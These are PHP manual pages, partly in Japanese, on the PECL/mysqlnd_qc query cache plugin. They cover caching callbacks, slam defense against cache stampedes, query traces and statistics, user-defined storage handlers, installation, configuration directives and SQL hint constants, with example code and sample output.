The callback is installed with the mysqlnd_qc_set_is_select() function. The callback is given the statement string of every statement inspected by the plugin. Then, the callback can decide whether to cache the function. The callback is supposed to return false if the statement shall not be cached. A return value of true makes the plugin try to add the statement into the cache. The cache entry will be given the default TTL ( mysqlnd_qc.ttl). If the callback returns a numerical value it is used as the TTL instead of the global default.

例1 Setting a callback with mysqlnd_qc_set_is_select()

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_statistics=1
<?php
/* callback which decides if query is cached */
function is_select($query) {
    static $patterns = array(
      /* true - use default from mysqlnd_qc.ttl */
      "@SELECT\s+.*\s+FROM\s+test@ismU" => true,
      /* 3 - use TTL = 3 seconds */
      "@SELECT\s+.*\s+FROM\s+news@ismU" => 3
    );

    /* check if query does match pattern */
    foreach ($patterns as $pattern => $ttl) {
        if (preg_match($pattern, $query)) {
            printf("is_select(%45s): cache\n", $query);
            return $ttl;
        }
    }
    printf("is_select(%45s): do not cache\n", $query);
    return false;
}
/* install callback */
mysqlnd_qc_set_is_select("is_select");

/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* cache put */
$mysqli->query("SELECT id FROM test WHERE id = 1");
/* cache hit */
$mysqli->query("SELECT id FROM test WHERE id = 1");
/* cache put */
$mysqli->query("SELECT * FROM test");

$stats = mysqlnd_qc_get_core_stats();
printf("Cache put: %d\n", $stats['cache_put']);
printf("Cache hit: %d\n", $stats['cache_hit']);
?>

上の例の出力は、 たとえば以下のようになります。

is_select(                    DROP TABLE IF EXISTS test): do not cache
is_select(                    CREATE TABLE test(id INT)): do not cache
is_select(    INSERT INTO test(id) VALUES (1), (2), (3)): do not cache
is_select(             SELECT id FROM test WHERE id = 1): cache
is_select(             SELECT id FROM test WHERE id = 1): cache
is_select(                           SELECT * FROM test): cache
Cache put: 2
Cache hit: 1

The examples callback tests if a statement string matches a pattern. If this is the case, it either returns true to cache the statement using the global default TTL or an alternative TTL.

To minimize application changes the callback can put into and registered in an auto prepend file.

User Contributed Notes

There are no user contributed notes for this page.


Slam defense

A badly designed cache can do more harm than good. In the worst case a cache can increase database server load instead of minimizing it. An overload situation can occur if a highly shared cache entry expires (cache stampeding).

Cache entries are shared and reused to a different degree depending on the storage used. The default storage handler stores cache entries in process memory. Thus, a cache entry can be reused for the life-span of a process. Other PHP processes cannot access it. If Memcache is used, a cache entry can be shared among multiple PHP processes and even among multiple machines, depending on the set up being used.

If a highly shared cache entry stored, for example, in Memcache expires, many clients gets a cache miss. Many client requests can no longer be served from the cache but try to run the underlying query on the database server. Until the cache entry is refreshed, more and more clients contact the database server. In the worst case, a total lost of service is the result.

The overload can be avoided using a storage handler which limits the reuse of cache entries to few clients. Then, at the average, its likely that only a limited number of clients will try to refresh a cache entry concurrently.

Additionally, the built-in slam defense mechanism can and should be used. If slam defense is activated an expired cache entry is given an extended life time. The first client getting a cache miss for the expired cache entry tries to refresh the cache entry within the extended life time. All other clients requesting the cache entry are temporarily served from the cache although the original TTL of the cache entry has expired. The other clients will not experience a cache miss before the extended life time is over.

例1 Enabling the slam defense mechanism

mysqlnd_qc.slam_defense=1
mysqlnd_qc.slam_defense_ttl=1

The slam defense mechanism is enabled with the PHP configuration directive mysqlnd_qc.slam_defense. The extended life time of a cache entry is set with mysqlnd_qc.slam_defense_ttl.

The function mysqlnd_qc_get_core_stats() returns an array of statistics. The statistics slam_stale_refresh and slam_stale_hit are incremented if slam defense takes place.

It is not possible to give a one-fits-all recommendation on the slam defense configuration. Users are advised to monitor and test their setup and derive settings accordingly.

User Contributed Notes

There are no user contributed notes for this page.


Finding cache candidates

A statement should be considered for caching if it is executed often and has a long run time. Cache candidates are found by creating a list of statements sorted by the product of the number of executions multiplied by the statements run time. The function mysqlnd_qc_get_query_trace_log() returns a query log which help with the task.

Collecting a query trace is a slow operation. Thus, it is disabled by default. The PHP configuration directive mysqlnd_qc.collect_query_trace is used to enable it. The functions trace contains one entry for every query issued before the function is called.

例1 Collecting a query trace

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_query_trace=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");

/* dummy queries to fill the query trace */
for ($i = 0; $i < 2; $i++) {
    $res = $mysqli->query("SELECT 1 AS _one FROM DUAL");
    $res->free();
}

/* dump trace */
var_dump(mysqlnd_qc_get_query_trace_log());
?>

上の例の出力は以下となります。

array(2) {
  [0]=>
  array(8) {
    ["query"]=>
    string(26) "SELECT 1 AS _one FROM DUAL"
    ["origin"]=>
    string(102) "#0 qc.php(7): mysqli->query('SELECT 1 AS _on...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(25)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [1]=>
  array(8) {
    ["query"]=>
    string(26) "SELECT 1 AS _one FROM DUAL"
    ["origin"]=>
    string(102) "#0 qc.php(7): mysqli->query('SELECT 1 AS _on...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(8)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
}

Assorted information is given in the trace. Among them timings and the origin of the query call. The origin property holds a code backtrace to identify the source of the query. The depth of the backtrace can be limited with the PHP configuration directive mysqlnd_qc.query_trace_bt_depth. The default depth is 3.

例2 Setting the backtrace depth with the mysqlnd_qc.query_trace_bt_depth ini setting

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_query_trace=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* dummy queries to fill the query trace */
for ($i = 0; $i < 3; $i++) {
    $res = $mysqli->query("SELECT id FROM test WHERE id = " . $mysqli->real_escape_string($i));
    $res->free();
}

$trace = mysqlnd_qc_get_query_trace_log();
$summary = array();
foreach ($trace as $entry) {
    if (!isset($summary[$entry['query']])) {
        $summary[$entry['query']] = array(
            "executions" => 1,
            "time"       => $entry['run_time'] + $entry['store_time'],
        );
    } else {
        $summary[$entry['query']]['executions']++;
        $summary[$entry['query']]['time'] += $entry['run_time'] + $entry['store_time'];
    }
}

foreach ($summary as $query => $details) {
    printf("%45s: %5dms (%dx)\n",
    $query, $details['time'], $details['executions']);
}
?>

上の例の出力は、 たとえば以下のようになります。

                    DROP TABLE IF EXISTS test:     0ms (1x)
                    CREATE TABLE test(id INT):     0ms (1x)
    INSERT INTO test(id) VALUES (1), (2), (3):     0ms (1x)
             SELECT id FROM test WHERE id = 0:    25ms (1x)
             SELECT id FROM test WHERE id = 1:    10ms (1x)
             SELECT id FROM test WHERE id = 2:     9ms (1x)

User Contributed Notes

There are no user contributed notes for this page.


Measuring cache efficiency

PECL/mysqlnd_qc offers three ways to measure the cache efficiency. The function mysqlnd_qc_get_normalized_query_trace_log() returns statistics aggregated by the normalized query string, mysqlnd_qc_get_cache_info() gives storage handler specific information which includes a list of all cached items, depending on the storage handler. Additionally, the core of PECL/mysqlnd_qc collects high-level summary statistics aggregated per PHP process. The high-level statistics are returned by mysqlnd_qc_get_core_stats().

The functions mysqlnd_qc_get_normalized_query_trace_log() and mysqlnd_qc_get_core_stats() will not collect data unless data collection has been enabled through their corresponding PHP configuration directives. Data collection is disabled by default for performance considerations. It is configurable with the mysqlnd_qc.time_statistics option, which determines if timing information should be collected. Collection of time statistics is enabled by default but only performed if data collection as such has been enabled. Recording time statistics causes extra system calls. In most cases, the benefit of the monitoring outweighs any potential performance penalty of the additional system calls.

例1 Collecting statistics data with the mysqlnd_qc.time_statistics ini setting

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_statistics=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* dummy queries */
for ($i = 1; $i <= 4; $i++) {
    $query = sprintf("/*%s*/SELECT id FROM test WHERE id = %d", MYSQLND_QC_ENABLE_SWITCH, $i % 2);
    $res   = $mysqli->query($query);

    $res->free();
}

var_dump(mysqlnd_qc_get_core_stats());
?>

上の例の出力は、 たとえば以下のようになります。

array(26) {
  ["cache_hit"]=>
  string(1) "2"
  ["cache_miss"]=>
  string(1) "2"
  ["cache_put"]=>
  string(1) "2"
  ["query_should_cache"]=>
  string(1) "4"
  ["query_should_not_cache"]=>
  string(1) "3"
  ["query_not_cached"]=>
  string(1) "3"
  ["query_could_cache"]=>
  string(1) "4"
  ["query_found_in_cache"]=>
  string(1) "2"
  ["query_uncached_other"]=>
  string(1) "0"
  ["query_uncached_no_table"]=>
  string(1) "0"
  ["query_uncached_no_result"]=>
  string(1) "0"
  ["query_uncached_use_result"]=>
  string(1) "0"
  ["query_aggr_run_time_cache_hit"]=>
  string(2) "28"
  ["query_aggr_run_time_cache_put"]=>
  string(3) "900"
  ["query_aggr_run_time_total"]=>
  string(3) "928"
  ["query_aggr_store_time_cache_hit"]=>
  string(2) "14"
  ["query_aggr_store_time_cache_put"]=>
  string(2) "40"
  ["query_aggr_store_time_total"]=>
  string(2) "54"
  ["receive_bytes_recorded"]=>
  string(3) "136"
  ["receive_bytes_replayed"]=>
  string(3) "136"
  ["send_bytes_recorded"]=>
  string(2) "84"
  ["send_bytes_replayed"]=>
  string(2) "84"
  ["slam_stale_refresh"]=>
  string(1) "0"
  ["slam_stale_hit"]=>
  string(1) "0"
  ["request_counter"]=>
  int(1)
  ["process_hash"]=>
  int(1929695233)
}

For a quick overview, call mysqlnd_qc_get_core_stats(). It delivers cache usage, cache timing and traffic related statistics. Values are aggregated on a per process basis for all queries issued by any PHP MySQL API call.

Some storage handler, such as the default handler, can report cache entries, statistics related to the entries and meta data for the underlying query through the mysqlnd_qc_get_cache_info() function. Please note, that the information returned depends on the storage handler. Values are aggregated on a per process basis.

例2 Example mysqlnd_qc_get_cache_info() usage

mysqlnd_qc.enable_qc=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* dummy queries to fill the query trace */
for ($i = 1; $i <= 4; $i++) {
    $query = sprintf("/*%s*/SELECT id FROM test WHERE id = %d", MYSQLND_QC_ENABLE_SWITCH, $i % 2);
    $res   = $mysqli->query($query);

    $res->free();
}

var_dump(mysqlnd_qc_get_cache_info());
?>

上の例の出力は、 たとえば以下のようになります。

array(4) {
  ["num_entries"]=>
  int(2)
  ["handler"]=>
  string(7) "default"
  ["handler_version"]=>
  string(5) "1.0.0"
  ["data"]=>
  array(2) {
    ["Localhost via UNIX socket
3306
root
test|/*qc=on*/SELECT id FROM test WHERE id = 1"]=>
    array(2) {
      ["statistics"]=>
      array(11) {
        ["rows"]=>
        int(1)
        ["stored_size"]=>
        int(71)
        ["cache_hits"]=>
        int(1)
        ["run_time"]=>
        int(391)
        ["store_time"]=>
        int(27)
        ["min_run_time"]=>
        int(16)
        ["max_run_time"]=>
        int(16)
        ["min_store_time"]=>
        int(8)
        ["max_store_time"]=>
        int(8)
        ["avg_run_time"]=>
        int(8)
        ["avg_store_time"]=>
        int(4)
      }
      ["metadata"]=>
      array(1) {
        [0]=>
        array(8) {
          ["name"]=>
          string(2) "id"
          ["orig_name"]=>
          string(2) "id"
          ["table"]=>
          string(4) "test"
          ["orig_table"]=>
          string(4) "test"
          ["db"]=>
          string(4) "test"
          ["max_length"]=>
          int(1)
          ["length"]=>
          int(11)
          ["type"]=>
          int(3)
        }
      }
    }
    ["Localhost via UNIX socket
3306
root
test|/*qc=on*/SELECT id FROM test WHERE id = 0"]=>
    array(2) {
      ["statistics"]=>
      array(11) {
        ["rows"]=>
        int(0)
        ["stored_size"]=>
        int(65)
        ["cache_hits"]=>
        int(1)
        ["run_time"]=>
        int(299)
        ["store_time"]=>
        int(13)
        ["min_run_time"]=>
        int(11)
        ["max_run_time"]=>
        int(11)
        ["min_store_time"]=>
        int(6)
        ["max_store_time"]=>
        int(6)
        ["avg_run_time"]=>
        int(5)
        ["avg_store_time"]=>
        int(3)
      }
      ["metadata"]=>
      array(1) {
        [0]=>
        array(8) {
          ["name"]=>
          string(2) "id"
          ["orig_name"]=>
          string(2) "id"
          ["table"]=>
          string(4) "test"
          ["orig_table"]=>
          string(4) "test"
          ["db"]=>
          string(4) "test"
          ["max_length"]=>
          int(0)
          ["length"]=>
          int(11)
          ["type"]=>
          int(3)
        }
      }
    }
  }
}

It is possible to further break down the granularity of statistics to the level of the normalized statement string. The normalized statement string is the statements string with all parameters replaced with question marks. For example, the two statements SELECT id FROM test WHERE id = 0 and SELECT id FROM test WHERE id = 1 are normalized into SELECT id FROM test WHERE id = ?. Their both statistics are aggregated into one entry for SELECT id FROM test WHERE id = ?.

例3 Example mysqlnd_qc_get_normalized_query_trace_log() usage

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_normalized_query_trace=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* dummy queries to fill the query trace */
for ($i = 1; $i <= 4; $i++) {
    $query = sprintf("/*%s*/SELECT id FROM test WHERE id = %d", MYSQLND_QC_ENABLE_SWITCH, $i % 2);
    $res   = $mysqli->query($query);

    $res->free();
}

var_dump(mysqlnd_qc_get_normalized_query_trace_log());
?>

上の例の出力は、 たとえば以下のようになります。

array(4) {
  [0]=>
  array(9) {
    ["query"]=>
    string(25) "DROP TABLE IF EXISTS test"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [1]=>
  array(9) {
    ["query"]=>
    string(27) "CREATE TABLE test (id INT )"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [2]=>
  array(9) {
    ["query"]=>
    string(46) "INSERT INTO test (id ) VALUES (? ), (? ), (? )"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [3]=>
  array(9) {
    ["query"]=>
    string(31) "SELECT id FROM test WHERE id =?"
    ["occurences"]=>
    int(4)
    ["eligible_for_caching"]=>
    bool(true)
    ["avg_run_time"]=>
    int(179)
    ["min_run_time"]=>
    int(11)
    ["max_run_time"]=>
    int(393)
    ["avg_store_time"]=>
    int(12)
    ["min_store_time"]=>
    int(7)
    ["max_store_time"]=>
    int(25)
  }
}

The source distribution of PECL/mysqlnd_qc contains a directory web/ in which web based monitoring scripts can be found which give an example how to write a cache monitor. Please, follow the instructions given in the source.

Since PECL/mysqlnd_qc 1.1.0 it is possible to write statistics into a log file. Please, see mysqlnd_qc.collect_statistics_log_file.

User Contributed Notes

There are no user contributed notes for this page.


Beyond TTL: user-defined storage

The query cache plugin supports the use of user-defined storage handler. User-defined storage handler can use arbitrarily complex invalidation algorithms and support arbitrary storage media.

All user-defined storage handlers have to provide a certain interface. The functions of the user-defined storage handler will be called by the core of the cache plugin. The necessary interface consists of seven public functions. Both procedural and object oriented user-defined storage handler must implement the same set of functions.

例1 Using a user-defined storage handler

<?php
/* Enable default caching of all statements */
ini_set("mysqlnd_qc.cache_by_default", 1);

/* Procedural user defined storage handler functions */

$__cache = array();

function get_hash($host_info, $port, $user, $db, $query) {
    global $__cache;
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

    return md5(sprintf("%s%s%s%s%s", $host_info, $port, $user, $db, $query));
}

function find_query_in_cache($key) {
    global $__cache;
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

    if (isset($__cache[$key])) {
        $tmp = $__cache[$key];
        if ($tmp["valid_until"] < time()) {
            unset($__cache[$key]);
            $ret = NULL;
        } else {
            $ret = $__cache[$key]["data"];
        }
    } else {
        $ret = NULL;
    }

    return $ret;
}

function return_to_cache($key) {
    /*
     Called on cache hit after cached data has been processed,
     may be used for reference counting
    */
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());
}

function add_query_to_cache_if_not_exists($key, $data, $ttl, $run_time, $store_time, $row_count) {
    global $__cache;
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

    $__cache[$key] = array(
        "data"               => $data,
        "row_count"          => $row_count,
        "valid_until"        => time() + $ttl,
        "hits"               => 0,
        "run_time"           => $run_time,
        "store_time"         => $store_time,
        "cached_run_times"   => array(),
        "cached_store_times" => array(),
    );

    return TRUE;
}

function query_is_select($query) {
    printf("\t%s('%s'): ", __FUNCTION__, $query);

    $ret = FALSE;
    if (stristr($query, "SELECT") !== FALSE) {
        /* cache for 5 seconds */
        $ret = 5;
    }

    printf("%s\n", (FALSE === $ret) ? "FALSE" : $ret);
    return $ret;
}

function update_query_run_time_stats($key, $run_time, $store_time) {
    global $__cache;
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

    if (isset($__cache[$key])) {
        $__cache[$key]['hits']++;
        $__cache[$key]["cached_run_times"][] = $run_time;
        $__cache[$key]["cached_store_times"][] = $store_time;
    }
}

function get_stats($key = NULL) {
    global $__cache;
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

    if ($key && isset($__cache[$key])) {
        $stats = $__cache[$key];
    } else {
        $stats = array();
        foreach ($__cache as $key => $details) {
            $stats[$key] = array(
               'hits'              => $details['hits'],
               'bytes'             => strlen($details['data']),
               'uncached_run_time' => $details['run_time'],
               'cached_run_time'   => (count($details['cached_run_times']))
                                      ? array_sum($details['cached_run_times']) / count($details['cached_run_times'])
                                      : 0,
            );
        }
    }

    return $stats;
}

function clear_cache() {
    global $__cache;
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

    $__cache = array();
    return TRUE;
}

/* Install procedural user-defined storage handler */
if (!mysqlnd_qc_set_user_handlers("get_hash", "find_query_in_cache",
    "return_to_cache", "add_query_to_cache_if_not_exists",
    "query_is_select", "update_query_run_time_stats", "get_stats", "clear_cache")) {

        printf("Failed to install user-defined storage handler\n");
}

/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

printf("\nCache put/cache miss\n");

$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

/* Delete record to verify we get our data from the cache */
$mysqli->query("DELETE FROM test WHERE id = 1");

printf("\nCache hit\n");

$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

printf("\nDisplay cache statistics\n");
var_dump(mysqlnd_qc_get_cache_info());

printf("\nFlushing cache, cache put/cache miss");
var_dump(mysqlnd_qc_clear_cache());

$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();
?>

上の例の出力は、 たとえば以下のようになります。

        query_is_select('DROP TABLE IF EXISTS test'): FALSE
        query_is_select('CREATE TABLE test(id INT)'): FALSE
        query_is_select('INSERT INTO test(id) VALUES (1), (2)'): FALSE

Cache put/cache miss
        query_is_select('SELECT id FROM test WHERE id = 1'): 5
        get_hash(5)
        find_query_in_cache(1)
        add_query_to_cache_if_not_exists(6)
array(1) {
  ["id"]=>
  string(1) "1"
}
        query_is_select('DELETE FROM test WHERE id = 1'): FALSE

Cache hit
        query_is_select('SELECT id FROM test WHERE id = 1'): 5
        get_hash(5)
        find_query_in_cache(1)
        return_to_cache(1)
        update_query_run_time_stats(3)
array(1) {
  ["id"]=>
  string(1) "1"
}

Display cache statistics
        get_stats(0)
array(4) {
  ["num_entries"]=>
  int(1)
  ["handler"]=>
  string(4) "user"
  ["handler_version"]=>
  string(5) "1.0.0"
  ["data"]=>
  array(1) {
    ["18683c177dc89bb352b29965d112fdaa"]=>
    array(4) {
      ["hits"]=>
      int(1)
      ["bytes"]=>
      int(71)
      ["uncached_run_time"]=>
      int(398)
      ["cached_run_time"]=>
      int(4)
    }
  }
}

Flushing cache, cache put/cache miss    clear_cache(0)
bool(true)
        query_is_select('SELECT id FROM test WHERE id = 1'): 5
        get_hash(5)
        find_query_in_cache(1)
        add_query_to_cache_if_not_exists(6)
NULL

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定

User Contributed Notes

There are no user contributed notes for this page.


要件

PHP 5.3.3 またはそれ以降の PHP。

PECL/mysqlnd_qc は mysqlnd プラグインで、mysqlnd ライブラリに組み込んで使います。 このプラグインを PHP の MySQL 拡張モジュール (mysqli, mysql, PDO_MYSQL) で使うには、その拡張モジュールが mysqlnd ライブラリを使えるようにしなければなりません。

MEMCACHE ストレージ・ハンドラを使うには、 libmemcache 0.38 またはそれ以降を使います。 PECL/mysqlnd_qc 1.2 は、libmemcache 1.4.0 でテストしています。

sqlite ストレージ・ハンドラを使うには、 PHP にバンドルされた sqlite3 モジュールを使います。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/mysqlnd_qc

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

nabikaz at gmail dot com 14-May-2019 09:03
You said:
"A DLL for this PECL extension is currently unavailable."
But I found this windows version:
https://pecl.php.net/package/mysqlnd_qc/1.2.0/windows
I thinks should be edit your doc.


実行時設定

php.ini の設定により動作が変化します。

mysqlnd_qc 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
mysqlnd_qc.enable_qc | 1 | PHP_INI_SYSTEM |
mysqlnd_qc.ttl | 30 | PHP_INI_ALL |
mysqlnd_qc.cache_by_default | 0 | PHP_INI_ALL |
mysqlnd_qc.cache_no_table | 0 | PHP_INI_ALL |
mysqlnd_qc.use_request_time | 0 | PHP_INI_ALL |
mysqlnd_qc.time_statistics | 1 | PHP_INI_ALL |
mysqlnd_qc.collect_statistics | 0 | PHP_INI_ALL |
mysqlnd_qc.collect_statistics_log_file | /tmp/mysqlnd_qc.stats | PHP_INI_SYSTEM |
mysqlnd_qc.collect_query_trace | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.query_trace_bt_depth | 3 | PHP_INI_SYSTEM |
mysqlnd_qc.collect_normalized_query_trace | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.ignore_sql_comments | 1 | PHP_INI_ALL |
mysqlnd_qc.slam_defense | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.slam_defense_ttl | 30 | PHP_INI_SYSTEM |
mysqlnd_qc.std_data_copy | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.apc_prefix | qc_ | PHP_INI_ALL |
mysqlnd_qc.memc_server | 127.0.0.1 | PHP_INI_ALL |
mysqlnd_qc.memc_port | 11211 | PHP_INI_ALL |
mysqlnd_qc.sqlite_data_file | :memory: | PHP_INI_ALL |

以下に設定ディレクティブに関する 簡単な説明を示します。

mysqlnd_qc.enable_qc int

Enables or disables the plugin. If disabled the extension will not plug into mysqlnd to proxy internal mysqlnd C API calls.

mysqlnd_qc.ttl int

Default Time-to-Live (TTL) for cache entries in seconds.

mysqlnd_qc.cache_by_default int

Cache all queries regardless if they begin with the SQL hint that enables caching of a query or not. Storage handler cannot overrule the setting. It is evaluated by the core of the plugin.

mysqlnd_qc.cache_no_table int

Whether to cache queries with no table name in any of columns meta data of their result set, for example, SELECT SLEEP(1), SELECT NOW(), SELECT SUBSTRING().

mysqlnd_qc.use_request_time int

Use PHP global request time to avoid gettimeofday() system calls? If using APC storage handler it should be set to the value of apc.use_request_time, if not warnings will be generated.

mysqlnd_qc.time_statistics int

Collect run time and store time statistics using gettimeofday() system call? Data will be collected only if you also set mysqlnd_qc.collect_statistics = 1,

mysqlnd_qc.collect_statistics int

Collect statistics for mysqlnd_qc_get_core_stats()? Does not influence storage handler statistics! Handler statistics can be an integral part of the handler internal storage format. Therefore, collection of some handler statistics cannot be disabled.

mysqlnd_qc.collect_statistics-log-file int

If mysqlnd_qc.collect_statistics and mysqlnd_qc.collect_statistics_log_file are set, the plugin will dump statistics into the specified log file at every 10th web request during PHP request shutdown. The log file needs to be writable by the web server user.

Since 1.1.0.

mysqlnd_qc.collect_query_trace int

Collect query back traces?

mysqlnd_qc.query_trace_bt_depth int

Maximum depth/level of a query code backtrace.

mysqlnd_qc.ignore_sql_comments int

Whether to remove SQL comments from a query string before hashing it to generate a cache key. Disable if you do not want two statemts such as SELECT /*my_source_ip=123*/ id FROM test and SELECT /*my_source_ip=456*/ id FROM test to refer to the same cache entry.

Since 1.1.0.

mysqlnd_qc.slam_defense int

Activates handler based slam defense (cache stampeding protection) if available. Supported by Default and APC storage handler

mysqlnd_qc.slam_defense_ttl int

TTL for stale cache entries which are served while another client updates the entries. Supported by APC storage handler.

mysqlnd_qc.collect_normalized_query_trace int

Collect aggregated normalized query traces? The setting has no effect by default. You compile the extension using the define NORM_QUERY_TRACE_LOG to make use of the setting.

mysqlnd_qc.std_data_copy int

Default storage handler: copy cached wire data? EXPERIMENTAL - use default setting!

mysqlnd_qc.apc_prefix string

The APC storage handler stores data in the APC user cache. The setting sets a prefix to be used for cache entries.

mysqlnd_qc.memc_server string

MEMCACHE storage handler: memcache server host.

mysqlnd_qc.memc_port int

MEMCACHE storage handler: memcached server port.

mysqlnd_qc.sqlite_data_file string

sqlite storage handler: data file. Any setting but :memory: may be of little practical value.

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SQL ヒント関係

例1 SQL ヒント定数の利用

クエリキャッシュは、SQL ヒントで制御します。 SQL ヒントを使って、キャッシングを有効または無効にします。 SQL ヒントを使うと、クエリの TTL を設定できます。

クエリキャッシュが認識する SQL ヒントは、コンパイル時に手動で変更できます。 そのため、デフォルトの SQL ヒントが他のシステムによってすでに取り入れられて、 解釈・実行された環境でも mysqlnd_qc を使えます。 この理由から、クエリ文字列にデフォルトの SQL ヒントを手動で追加するよりも SQL ヒント文字列定数を使うことを推奨します。

<?php
/* 可搬性を最大にするために定数を使用 */
$query = "/*" . MYSQLND_QC_ENABLE_SWITCH . "*/SELECT id FROM test";

/* 有効ですが、可搬性がより少なくなります: デフォルトの TTL */
$query = "/*qc=on*/SELECT id FROM test";

/* 有効ですが、可搬性がより少なくなります: ステートメント TTL 単位 */
$query = "/*qc=on*//*qc_ttl=5*/SELECT id FROM test";

printf("MYSQLND_QC_ENABLE_SWITCH: %s\n", MYSQLND_QC_ENABLE_SWITCH);
printf("MYSQLND_QC_DISABLE_SWITCH: %s\n", MYSQLND_QC_DISABLE_SWITCH);
printf("MYSQLND_QC_TTL_SWITCH: %s\n", MYSQLND_QC_TTL_SWITCH);
?>

上の例の出力は以下となります。

MYSQLND_QC_ENABLE_SWITCH: qc=on
MYSQLND_QC_DISABLE_SWITCH: qc=off
MYSQLND_QC_TTL_SWITCH: qc_ttl=

MYSQLND_QC_ENABLE_SWITCH (string)
クエリをキャッシュに格納できるようにするために使用する SQL ヒント。
MYSQLND_QC_DISABLE_SWITCH (string)
mysqlnd_qc.cache_by_default = 1 の場合に クエリをキャッシュに格納できないようにするために使用する SQL ヒント。
MYSQLND_QC_TTL_SWITCH (string)
結果セットの TTL を設定するために使用する SQL ヒント。
MYSQLND_QC_SERVER_ID_SWITCH (string)
